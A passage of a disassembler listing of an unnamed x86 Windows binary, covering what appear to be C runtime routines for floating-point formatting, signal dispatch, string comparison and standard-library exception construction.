cmp edi, 0C0000000h
jnz short loc_4290AD
cmp [ebp+arg_0], 0
jnz short loc_4290D4
push offset a1Ind ; "1#IND"
jmp short loc_4290BC
; ---------------------------------------------------------------------------
loc_4290AD: ; CODE XREF: sub_428FE8+AEj
; sub_428FE8+B6j
cmp edi, eax
jnz short loc_4290D4
cmp [ebp+arg_0], 0
jnz short loc_4290D4
push offset a1Inf ; "1#INF"
loc_4290BC: ; CODE XREF: sub_428FE8+C3j
lea eax, [ebx+4]
push eax
call sub_41EEC0
mov byte ptr [ebx+3], 5
loc_4290C9: ; CODE XREF: sub_428FE8+FEj
and [ebp+var_2C], 0
pop ecx
pop ecx
jmp loc_429240
; ---------------------------------------------------------------------------
loc_4290D4: ; CODE XREF: sub_428FE8+BCj
; sub_428FE8+C7j ...
push offset a1Qnan ; "1#QNAN"
loc_4290D9: ; CODE XREF: sub_428FE8+A9j
lea eax, [ebx+4]
push eax
call sub_41EEC0
mov byte ptr [ebx+3], 6
jmp short loc_4290C9
; ---------------------------------------------------------------------------
loc_4290E8: ; CODE XREF: sub_428FE8+86j
movzx eax, dx
mov esi, eax
imul eax, 4D10h
and [ebp+var_10], 0
mov ecx, edi
shr ecx, 18h
shr esi, 8
lea ecx, [esi+ecx*2]
imul ecx, 4Dh
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
mov [ebp+var_E], eax
sar esi, 10h
movsx eax, si
neg eax
push 1
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_6], dx
mov [ebp+var_A], edi
call sub_42968C
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_429149
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_10]
push eax
inc esi
call sub_42945A
pop ecx
pop ecx
loc_429149: ; CODE XREF: sub_428FE8+14Fj
test [ebp+arg_10], 1
mov edi, [ebp+arg_C]
mov [ebx], si
jz short loc_429167
movsx eax, si
add edi, eax
test edi, edi
jg short loc_429167
loc_42915E: ; CODE XREF: sub_428FE8+7Dj
mov byte ptr [ebx+4], 30h
jmp loc_429261
; ---------------------------------------------------------------------------
loc_429167: ; CODE XREF: sub_428FE8+16Bj
; sub_428FE8+174j
cmp edi, 15h
jle short loc_42916F
push 15h
pop edi
loc_42916F: ; CODE XREF: sub_428FE8+182j
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_8], 8
loc_429185: ; CODE XREF: sub_428FE8+1AAj
lea eax, [ebp+var_10]
push eax
call sub_428A28
dec [ebp+arg_8]
pop ecx
jnz short loc_429185
test esi, esi
jge short loc_4291AF
neg esi
and esi, 0FFh
jle short loc_4291AF
loc_4291A2: ; CODE XREF: sub_428FE8+1C5j
lea eax, [ebp+var_10]
push eax
call sub_428A56
dec esi
pop ecx
jnz short loc_4291A2
loc_4291AF: ; CODE XREF: sub_428FE8+1AEj
; sub_428FE8+1B8j
lea ecx, [edi+1]
test ecx, ecx
lea eax, [ebx+4]
mov [ebp+var_30], eax
jle short loc_42920C
mov [ebp+arg_8], ecx
loc_4291BF: ; CODE XREF: sub_428FE8+21Fj
lea esi, [ebp+var_10]
lea edi, [ebp+var_28]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_428A28
lea eax, [ebp+var_10]
push eax
call sub_428A28
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_10]
push eax
call sub_4289CA
lea eax, [ebp+var_10]
push eax
call sub_428A28
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+var_30]
add al, 30h
add esp, 14h
inc [ebp+var_30]
dec [ebp+arg_8]
mov [ecx], al
mov byte ptr [ebp+var_6+1], 0
jnz short loc_4291BF
mov eax, [ebp+var_30]
loc_42920C: ; CODE XREF: sub_428FE8+1D2j
dec eax
mov cl, [eax]
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_429256
jmp short loc_429223
; ---------------------------------------------------------------------------
loc_42921A: ; CODE XREF: sub_428FE8+23Dj
cmp byte ptr [eax], 39h
jnz short loc_429227
mov byte ptr [eax], 30h
dec eax
loc_429223: ; CODE XREF: sub_428FE8+230j
cmp eax, ecx
jnb short loc_42921A
loc_429227: ; CODE XREF: sub_428FE8+235j
cmp eax, ecx
jnb short loc_42922F
inc eax
inc word ptr [ebx]
loc_42922F: ; CODE XREF: sub_428FE8+241j
inc byte ptr [eax]
loc_429231: ; CODE XREF: sub_428FE8+274j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
mov byte ptr [eax+ebx+4], 0
loc_429240: ; CODE XREF: sub_428FE8+E7j
mov eax, [ebp+var_2C]
loc_429243: ; CODE XREF: sub_428FE8+28Cj
mov ecx, [ebp+var_4]
pop edi
pop esi
pop ebx
call sub_422B83
leave
retn
; ---------------------------------------------------------------------------
loc_429250: ; CODE XREF: sub_428FE8+270j
cmp byte ptr [eax], 30h
jnz short loc_42925A
dec eax
loc_429256: ; CODE XREF: sub_428FE8+22Ej
cmp eax, ecx
jnb short loc_429250
loc_42925A: ; CODE XREF: sub_428FE8+26Bj
cmp eax, ecx
jnb short loc_429231
mov byte ptr [ecx], 30h
loc_429261: ; CODE XREF: sub_428FE8+17Aj
and word ptr [ebx], 0
xor eax, eax
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+5], 0
inc eax
jmp short loc_429243
sub_428FE8 endp
; =============== S U B R O U T I N E =======================================
sub_429276 proc near ; CODE XREF: sub_4292AF+5Ap
mov ecx, ds:dword_443BA0
mov eax, offset dword_443B20
push esi
loc_429282: ; CODE XREF: sub_429276+20j
cmp [eax+4], edx
jz short loc_429298
lea esi, [ecx+ecx*2]
add eax, 0Ch
lea esi, ds:443B20h[esi*4]
cmp eax, esi
jb short loc_429282
loc_429298: ; CODE XREF: sub_429276+Fj
lea ecx, [ecx+ecx*2]
lea ecx, ds:443B20h[ecx*4]
cmp eax, ecx
pop esi
jnb short loc_4292AC
cmp [eax+4], edx
jz short locret_4292AE
loc_4292AC: ; CODE XREF: sub_429276+2Fj
xor eax, eax
locret_4292AE: ; CODE XREF: sub_429276+34j
retn
sub_429276 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4292AF proc near ; CODE XREF: sub_4254B5+2D78p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_429315
dec eax
dec eax
jz short loc_429307
sub eax, 4
jz short loc_429307
sub eax, 3
jz short loc_429307
sub eax, 4
jz short loc_4292FA
sub eax, 6
jz short loc_4292ED
dec eax
jz short loc_4292E0
or eax, 0FFFFFFFFh
jmp loc_4293D4
; ---------------------------------------------------------------------------
loc_4292E0: ; CODE XREF: sub_4292AF+27j
mov esi, ds:dword_4E2B7C
mov eax, offset dword_4E2B7C
jmp short loc_429320
; ---------------------------------------------------------------------------
loc_4292ED: ; CODE XREF: sub_4292AF+24j
mov esi, ds:dword_4E2B78
mov eax, offset dword_4E2B78
jmp short loc_429320
; ---------------------------------------------------------------------------
loc_4292FA: ; CODE XREF: sub_4292AF+1Fj
mov esi, ds:dword_4E2B80
mov eax, offset dword_4E2B80
jmp short loc_429320
; ---------------------------------------------------------------------------
loc_429307: ; CODE XREF: sub_4292AF+10j
; sub_4292AF+15j ...
mov edx, edi
call sub_429276
add eax, 8
mov esi, [eax]
jmp short loc_429320
; ---------------------------------------------------------------------------
loc_429315: ; CODE XREF: sub_4292AF+Cj
mov esi, ds:dword_4E2B74
mov eax, offset dword_4E2B74
loc_429320: ; CODE XREF: sub_4292AF+3Cj
; sub_4292AF+49j ...
cmp esi, 1
jz loc_4293D2
test esi, esi
jnz short loc_429334
push 3
call sub_41F282
loc_429334: ; CODE XREF: sub_4292AF+7Cj
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_429346
cmp edi, 0Bh
jz short loc_429346
cmp edi, 4
jnz short loc_42936C
loc_429346: ; CODE XREF: sub_4292AF+8Bj
; sub_4292AF+90j
mov ebx, ds:dword_4E29C4
and ds:dword_4E29C4, 0
cmp edi, ecx
jnz short loc_42939B
mov edx, ds:dword_443BA4
mov [ebp+arg_0], edx
mov ds:dword_443BA4, 8Ch
jmp short loc_42936F
; ---------------------------------------------------------------------------
loc_42936C: ; CODE XREF: sub_4292AF+95j
mov ebx, [ebp+arg_0]
loc_42936F: ; CODE XREF: sub_4292AF+BBj
cmp edi, ecx
jnz short loc_42939B
mov eax, ds:dword_443B98
mov ecx, ds:dword_443B9C
add ecx, eax
cmp eax, ecx
jge short loc_4293A2
lea edx, [eax+eax*2]
lea edx, ds:443B28h[edx*4]
sub ecx, eax
loc_429390: ; CODE XREF: sub_4292AF+E8j
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_429390
jmp short loc_4293A2
; ---------------------------------------------------------------------------
loc_42939B: ; CODE XREF: sub_4292AF+A6j
; sub_4292AF+C2j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_4293B0
loc_4293A2: ; CODE XREF: sub_4292AF+D3j
; sub_4292AF+EAj
push ds:dword_443BA4
push 8
call esi
pop ecx
pop ecx
jmp short loc_4293BE
; ---------------------------------------------------------------------------
loc_4293B0: ; CODE XREF: sub_4292AF+F1j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_4293BE
cmp edi, 4
jnz short loc_4293D1
loc_4293BE: ; CODE XREF: sub_4292AF+FFj
; sub_4292AF+108j
cmp edi, 8
mov ds:dword_4E29C4, ebx
jnz short loc_4293D1
mov eax, [ebp+arg_0]
mov ds:dword_443BA4, eax
loc_4293D1: ; CODE XREF: sub_4292AF+10Dj
; sub_4292AF+118j
pop ebx
loc_4293D2: ; CODE XREF: sub_4292AF+74j
xor eax, eax
loc_4293D4: ; CODE XREF: sub_4292AF+2Cj
pop edi
pop esi
pop ebp
retn
sub_4292AF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4293D8 proc near ; CODE XREF: sub_42884D+96p
; sub_42884D+E4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp eax, ds:dword_4E2B98
push esi
jnb short loc_42944B
mov ecx, eax
and eax, 1Fh
shl eax, 3
sar ecx, 5
lea ecx, ds:4E2BA0h[ecx*4]
mov edx, eax
mov eax, [ecx]
movsx eax, byte ptr [eax+edx+4]
test al, 1
jz short loc_42944B
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_42941F
mov ecx, [ecx]
lea ecx, [ecx+edx+4]
and byte ptr [ecx], 7Fh
jmp short loc_429432
; ---------------------------------------------------------------------------
loc_42941F: ; CODE XREF: sub_4293D8+3Aj
cmp [esp+4+arg_4], 4000h
jnz short loc_42943F
mov ecx, [ecx]
lea ecx, [ecx+edx+4]
or byte ptr [ecx], 80h
loc_429432: ; CODE XREF: sub_4293D8+45j
neg eax
sbb eax, eax
and eax, 0FFFFC000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42943F: ; CODE XREF: sub_4293D8+4Fj
mov ds:dword_4E28F4, 16h
jmp short loc_429455
; ---------------------------------------------------------------------------
loc_42944B: ; CODE XREF: sub_4293D8+Bj
; sub_4293D8+2Aj
mov ds:dword_4E28F4, 9
loc_429455: ; CODE XREF: sub_4293D8+71j
or eax, 0FFFFFFFFh
pop esi
retn
sub_4293D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42945A proc near ; CODE XREF: sub_428FE8+15Ap
; sub_42968C+6Bp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 28h
mov eax, ds:dword_4437D4
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+var_4], eax
xor eax, eax
xor ecx, ecx
mov cx, [ebx+0Ah]
push esi
mov esi, [ebp+arg_0]
mov [ebp+var_1C], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov ax, [esi+0Ah]
push edi
mov edi, ecx
mov edx, 7FFFh
and ecx, edx
xor edi, eax
and eax, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_429664
cmp cx, 7FFFh
jnb loc_429664
cmp dx, 0BFFDh
ja loc_429664
cmp dx, 3FBFh
ja short loc_4294CD
xor eax, eax
jmp short loc_429507
; ---------------------------------------------------------------------------
loc_4294CD: ; CODE XREF: sub_42945A+6Dj
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_4294EF
inc [ebp+arg_0]
xor eax, eax
test [esi+8], edx
jnz short loc_4294F1
cmp [esi+4], eax
jnz short loc_4294F1
cmp [esi], eax
jnz short loc_4294F1
jmp loc_42965E
; ---------------------------------------------------------------------------
loc_4294EF: ; CODE XREF: sub_42945A+7Bj
xor eax, eax
loc_4294F1: ; CODE XREF: sub_42945A+85j
; sub_42945A+8Aj ...
cmp cx, ax
jnz short loc_429514
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_429514
cmp [ebx+4], eax
jnz short loc_429514
cmp [ebx], eax
jnz short loc_429514
loc_429507: ; CODE XREF: sub_42945A+71j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_42967F
; ---------------------------------------------------------------------------
loc_429514: ; CODE XREF: sub_42945A+9Aj
; sub_42945A+A2j ...
mov [ebp+var_18], eax
lea eax, [ebp+var_C]
mov [ebp+var_14], eax
mov [ebp+arg_4], 5
loc_429524: ; CODE XREF: sub_42945A+12Cj
mov eax, [ebp+var_18]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_429578
add eax, esi
mov [ebp+var_24], eax
mov eax, [ebp+arg_4]
lea ecx, [ebx+8]
mov [ebp+var_20], ecx
mov [ebp+var_28], eax
loc_429540: ; CODE XREF: sub_42945A+11Cj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_24]
movzx ecx, word ptr [ecx]
movzx eax, word ptr [eax]
imul eax, ecx
mov ecx, [ebp+var_14]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_4289A9
add esp, 0Ch
test eax, eax
jz short loc_42956B
mov eax, [ebp+var_14]
inc word ptr [eax]
loc_42956B: ; CODE XREF: sub_42945A+109j
add [ebp+var_24], 2
sub [ebp+var_20], 2
dec [ebp+var_28]
jnz short loc_429540
loc_429578: ; CODE XREF: sub_42945A+D3j
add [ebp+var_14], 2
inc [ebp+var_18]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_429524
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_4295BB
loc_429596: ; CODE XREF: sub_42945A+158j
test byte ptr [ebp+var_8+3], 80h
jnz short loc_4295B4
lea eax, [ebp+var_10]
push eax
call sub_428A28
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
pop ecx
jg short loc_429596
loc_4295B4: ; CODE XREF: sub_42945A+140j
cmp word ptr [ebp+arg_0], 0
jg short loc_4295F4
loc_4295BB: ; CODE XREF: sub_42945A+13Aj
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_4295F4
mov eax, [ebp+arg_0]
neg eax
movzx ebx, ax
add [ebp+arg_0], ebx
loc_4295D4: ; CODE XREF: sub_42945A+18Ej
test byte ptr [ebp+var_10], 1
jz short loc_4295DD
inc [ebp+var_1C]
loc_4295DD: ; CODE XREF: sub_42945A+17Ej
lea eax, [ebp+var_10]
push eax
call sub_428A56
dec ebx
pop ecx
jnz short loc_4295D4
cmp [ebp+var_1C], 0
jz short loc_4295F4
or byte ptr [ebp+var_10], 1
loc_4295F4: ; CODE XREF: sub_42945A+15Fj
; sub_42945A+16Dj ...
cmp word ptr [ebp+var_10], 8000h
ja short loc_42960B
mov eax, [ebp+var_10]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_429640
loc_42960B: ; CODE XREF: sub_42945A+1A0j
cmp [ebp+var_10+2], 0FFFFFFFFh
jnz short loc_42963D
and [ebp+var_10+2], 0
cmp [ebp+var_C+2], 0FFFFFFFFh
jnz short loc_429638
and [ebp+var_C+2], 0
cmp word ptr [ebp+var_8+2], 0FFFFh
jnz short loc_429632
inc [ebp+arg_0]
mov word ptr [ebp+var_8+2], 8000h
jmp short loc_429640
; ---------------------------------------------------------------------------
loc_429632: ; CODE XREF: sub_42945A+1CBj
inc word ptr [ebp+var_8+2]
jmp short loc_429640
; ---------------------------------------------------------------------------
loc_429638: ; CODE XREF: sub_42945A+1BFj
inc [ebp+var_C+2]
jmp short loc_429640
; ---------------------------------------------------------------------------
loc_42963D: ; CODE XREF: sub_42945A+1B5j
inc [ebp+var_10+2]
loc_429640: ; CODE XREF: sub_42945A+1AFj
; sub_42945A+1D6j ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_429664
mov cx, word ptr [ebp+var_10+2]
mov [esi], cx
mov ecx, [ebp+var_C]
mov [esi+2], ecx
mov ecx, [ebp+var_8]
mov [esi+6], ecx
or eax, edi
loc_42965E: ; CODE XREF: sub_42945A+90j
mov [esi+0Ah], ax
jmp short loc_42967F
; ---------------------------------------------------------------------------
loc_429664: ; CODE XREF: sub_42945A+4Cj
; sub_42945A+57j ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_42967F: ; CODE XREF: sub_42945A+B5j
; sub_42945A+208j
mov ecx, [ebp+var_4]
pop edi
pop esi
pop ebx
call sub_422B83
leave
retn
sub_42945A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42968C proc near ; CODE XREF: sub_428B61+3EFp
; sub_428FE8+141p
var_10 = byte ptr -10h
var_E = dword ptr -0Eh
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, ds:dword_4437D4
push ebx
mov ebx, offset dword_443D08
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
mov [ebp+var_4], eax
jz short loc_429707
jge short loc_4296B7
neg [ebp+arg_4]
mov ebx, offset dword_443E68
sub ebx, 60h
loc_4296B7: ; CODE XREF: sub_42968C+1Ej
cmp [ebp+arg_8], ecx
jnz short loc_4296C2
mov eax, [ebp+arg_0]
mov [eax], cx
loc_4296C2: ; CODE XREF: sub_42968C+2Ej
cmp [ebp+arg_4], ecx
jz short loc_429707
push esi
push edi
loc_4296C9: ; CODE XREF: sub_42968C+77j
mov eax, [ebp+arg_4]
sar [ebp+arg_4], 3
and eax, 7
add ebx, 54h
cmp eax, ecx
jz short loc_429700
lea eax, [eax+eax*2]
lea esi, [ebx+eax*4]
cmp word ptr [esi], 8000h
jb short loc_4296F3
lea edi, [ebp+var_10]
movsd
movsd
movsd
dec [ebp+var_E]
lea esi, [ebp+var_10]
loc_4296F3: ; CODE XREF: sub_42968C+59j
push esi
push [ebp+arg_0]
call sub_42945A
pop ecx
pop ecx
xor ecx, ecx
loc_429700: ; CODE XREF: sub_42968C+4Cj
cmp [ebp+arg_4], ecx
jnz short loc_4296C9
pop edi
pop esi
loc_429707: ; CODE XREF: sub_42968C+1Cj
; sub_42968C+39j
mov ecx, [ebp+var_4]
pop ebx
call sub_422B83
leave
retn
sub_42968C endp
; =============== S U B R O U T I N E =======================================
sub_429712 proc near ; CODE XREF: sub_4297E3+25p
; sub_42987E+25p
mov eax, offset aDzc ; "¸„§C"
call sub_420364
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
call sub_4299C6
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_43A33C
call sub_40F41A
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_429712 endp
; ---------------------------------------------------------------------------
word_42974E dw 7983h ; DATA XREF: seg001:0043A340o
; seg001:0043A34Co ...
dd 4721024h, 0C310418Bh, 0C310418Dh, 6AF18B56h, 8D016A00h
dd 6C70C4Eh, 43A33Ch, 0FE57F4E8h, 5ECE8BFFh, 2A8E9h
db 0
byte_429779 db 56h, 8Bh, 0F1h ; DATA XREF: seg001:off_43A33Co
dd 0FFFFDBE8h, 2444F6FFh, 7740108h, 671FE856h, 8B59FFFFh
dd 4C25EC6h
db 0
byte_429795 db 56h, 8Bh, 0F1h ; DATA XREF: seg001:off_43A348o
dword_429798 dd 14E8h, 2444F600h, 7740108h, 6703E856h, 8B59FFFFh, 4C25EC6h
dd 4801C700h, 0E90043A3h, 0FFFFFFA0h
dword_4297BC dd 0E8F18B56h, 14h, 82444F6h, 56077401h, 0FF66DCE8h, 0C68B59FFh
; DATA XREF: seg001:off_43A354o
dd 4C25Eh, 0A35401C7h, 79E90043h
db 3 dup(0FFh)
; =============== S U B R O U T I N E =======================================
sub_4297E3 proc near ; CODE XREF: sub_40EFAE+Fp
; sub_40F16A+13p ...
mov eax, offset aFzc ; "¸ä§C"
call sub_420364
sub esp, 44h
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-28h]
call sub_40F6AF
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-50h]
call sub_429712
push offset dword_43A748
lea eax, [ebp-50h]
push eax
mov dword ptr [ebp-50h], offset off_43A354
call sub_420383
int 3 ; Trap to Debugger
sub_4297E3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_429823 proc near ; CODE XREF: sub_42987E+47p
mov eax, offset aDzc ; "¸„§C"
call sub_420364
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_4299D7
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_43A33C
call sub_40F41A
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_429823 endp
; ---------------------------------------------------------------------------
dw 0FF56h
dd 8B082474h, 0FFB1E8F1h, 6C7FFFFh, 43A354h, 0C25EC68Bh
db 4, 0
; =============== S U B R O U T I N E =======================================
sub_42987E proc near ; CODE XREF: sub_40F10C+Dp
; sub_40F16A+32p ...
var_40 = dword ptr -40h
mov eax, offset aFzc ; "¸ä§C"
call sub_420364
sub esp, 44h
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-28h]
call sub_40F6AF
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-50h]
call sub_429712
push offset dword_43A7CC
lea eax, [ebp-50h]
push eax
mov dword ptr [ebp-50h], offset off_43A348
call sub_420383
int 3 ; Trap to Debugger
push esi
push [esp+48h+var_40]
mov esi, ecx
call sub_429823
mov dword ptr [esi], offset off_43A348
mov eax, esi
pop esi
retn 4
sub_42987E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4298D6 proc near ; CODE XREF: sub_40ECCD+5Ep
; sub_417688+99p ...
jmp ds:dword_42B214
sub_4298D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4298DC proc near ; CODE XREF: sub_41FEF7+24p
; sub_420274+13p
jmp ds:dword_42B19C
sub_4298DC endp
; =============== S U B R O U T I N E =======================================
sub_4298E2 proc near ; CODE XREF: seg000:00419C66p
; seg000:00419C7Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp ds:dword_4E29A4, 0
push ebx
jnz short loc_42992C
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_4298F4: ; CODE XREF: sub_4298E2+46j
xor ebx, ebx
mov bx, [ecx]
cmp bx, 41h
jb short loc_429908
cmp bx, 5Ah
ja short loc_429908
add ebx, 20h
loc_429908: ; CODE XREF: sub_4298E2+1Bj
; sub_4298E2+21j
xor eax, eax
mov ax, [edx]
cmp ax, 41h
jb short loc_42991C
cmp ax, 5Ah
ja short loc_42991C
add eax, 20h
loc_42991C: ; CODE XREF: sub_4298E2+2Fj
; sub_4298E2+35j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_429960
cmp bx, ax
jz short loc_4298F4
jmp short loc_429960
; ---------------------------------------------------------------------------
loc_42992C: ; CODE XREF: sub_4298E2+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_429936: ; CODE XREF: sub_4298E2+7Aj
xor eax, eax
mov ax, [esi]
push eax
call sub_429AA3
inc esi
inc esi
mov ebx, eax
xor eax, eax
mov ax, [edi]
push eax
call sub_429AA3
inc edi
pop ecx
inc edi
test bx, bx
pop ecx
jz short loc_42995E
cmp bx, ax
jz short loc_429936
loc_42995E: ; CODE XREF: sub_4298E2+75j
pop edi
pop esi
loc_429960: ; CODE XREF: sub_4298E2+41j
; sub_4298E2+48j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_4298E2 endp
; =============== S U B R O U T I N E =======================================
sub_42996A proc near ; CODE XREF: sub_41AB7D+21p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_429991
push esi
call sub_41E1C0
inc eax
push eax
call sub_41E5D3
test eax, eax
pop ecx
pop ecx
jz short loc_429991
push esi
push eax
call sub_41EEC0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_429991: ; CODE XREF: sub_42996A+7j
; sub_42996A+1Aj
xor eax, eax
pop esi
retn
sub_42996A endp
; ---------------------------------------------------------------------------
db 0C7h, 1, 88h
dword_429998 dd 8B0043A3h, 0C9850449h, 0E8510774h, 0FFFF48F9h, 8B56C359h
dd 0FFE3E8F1h, 44F6FFFFh, 74010824h, 0EEE85607h, 59FFFF64h
dd 0C25EC68Bh
db 4, 0
; =============== S U B R O U T I N E =======================================
sub_4299C6 proc near ; CODE XREF: sub_429712+11p
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax+8], 0
mov dword ptr [eax], offset off_43A390
retn
sub_4299C6 endp
; =============== S U B R O U T I N E =======================================
sub_4299D7 proc near ; CODE XREF: sub_429823+16p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
mov edi, [esp+8+arg_0]
mov dword ptr [esi], offset off_43A390
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_429A14
push dword ptr [edi+4]
call sub_41E1C0
inc eax
push eax
call sub_41E5D3
test eax, eax
pop ecx
pop ecx
mov [esi+4], eax
jz short loc_429A1A
push dword ptr [edi+4]
push eax
call sub_41EEC0
pop ecx
pop ecx
jmp short loc_429A1A
; ---------------------------------------------------------------------------
loc_429A14: ; CODE XREF: sub_4299D7+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_429A1A: ; CODE XREF: sub_4299D7+2Ej
; sub_4299D7+3Bj
pop edi
mov eax, esi
pop esi
retn 4
sub_4299D7 endp
; ---------------------------------------------------------------------------
db 83h, 79h, 8
dword_429A24 dd 9001C700h, 740043A3h, 471FF09h, 0FF486CE8h, 8BC359FFh
dd 0C0850441h, 98B80575h, 0C30043A3h
dword_429A44 dd 0E8F18B56h, 0FFFFFFD5h, 82444F6h, 56077401h, 0FF6454E8h
; DATA XREF: seg001:off_43A390o
dd 0C68B59FFh, 4C25Eh
; =============== S U B R O U T I N E =======================================
sub_429A60 proc near ; CODE XREF: seg000:00411092p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp ds:dword_4E29A4, 0
jnz short loc_429A6E
jmp sub_429B30
; ---------------------------------------------------------------------------
loc_429A6E: ; CODE XREF: sub_429A60+7j
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_429A79: ; CODE XREF: sub_429A60+39j
movzx eax, byte ptr [esi]
push eax
call sub_420B27
mov ebx, eax
movzx eax, byte ptr [edi]
push eax
inc esi
call sub_420B27
pop ecx
inc edi
test ebx, ebx
pop ecx
mov ecx, eax
jz short loc_429A9B
cmp ebx, ecx
jz short loc_429A79
loc_429A9B: ; CODE XREF: sub_429A60+35j
pop edi
mov eax, ebx
pop esi
sub eax, ecx
pop ebx
retn
sub_429A60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429AA3 proc near ; CODE XREF: sub_4298E2+5Ap
; sub_4298E2+69p
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_429AB5
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_429AB5: ; CODE XREF: sub_429AA3+Bj
cmp ds:dword_4E29A4, 0
jnz short loc_429AD7
cmp ax, 41h
jb short loc_429AD2
cmp ax, 5Ah
ja short loc_429AD2
movzx eax, ax
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_429AD2: ; CODE XREF: sub_429AA3+1Fj
; sub_429AA3+25j
movzx eax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_429AD7: ; CODE XREF: sub_429AA3+19j
cmp ax, 100h
jnb short loc_429AF1
push 1
push eax
call sub_429DD7
test eax, eax
pop ecx
pop ecx
jnz short loc_429AF1
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_429AF1: ; CODE XREF: sub_429AA3+38j
; sub_429AA3+46j
push ds:dword_4E29B4
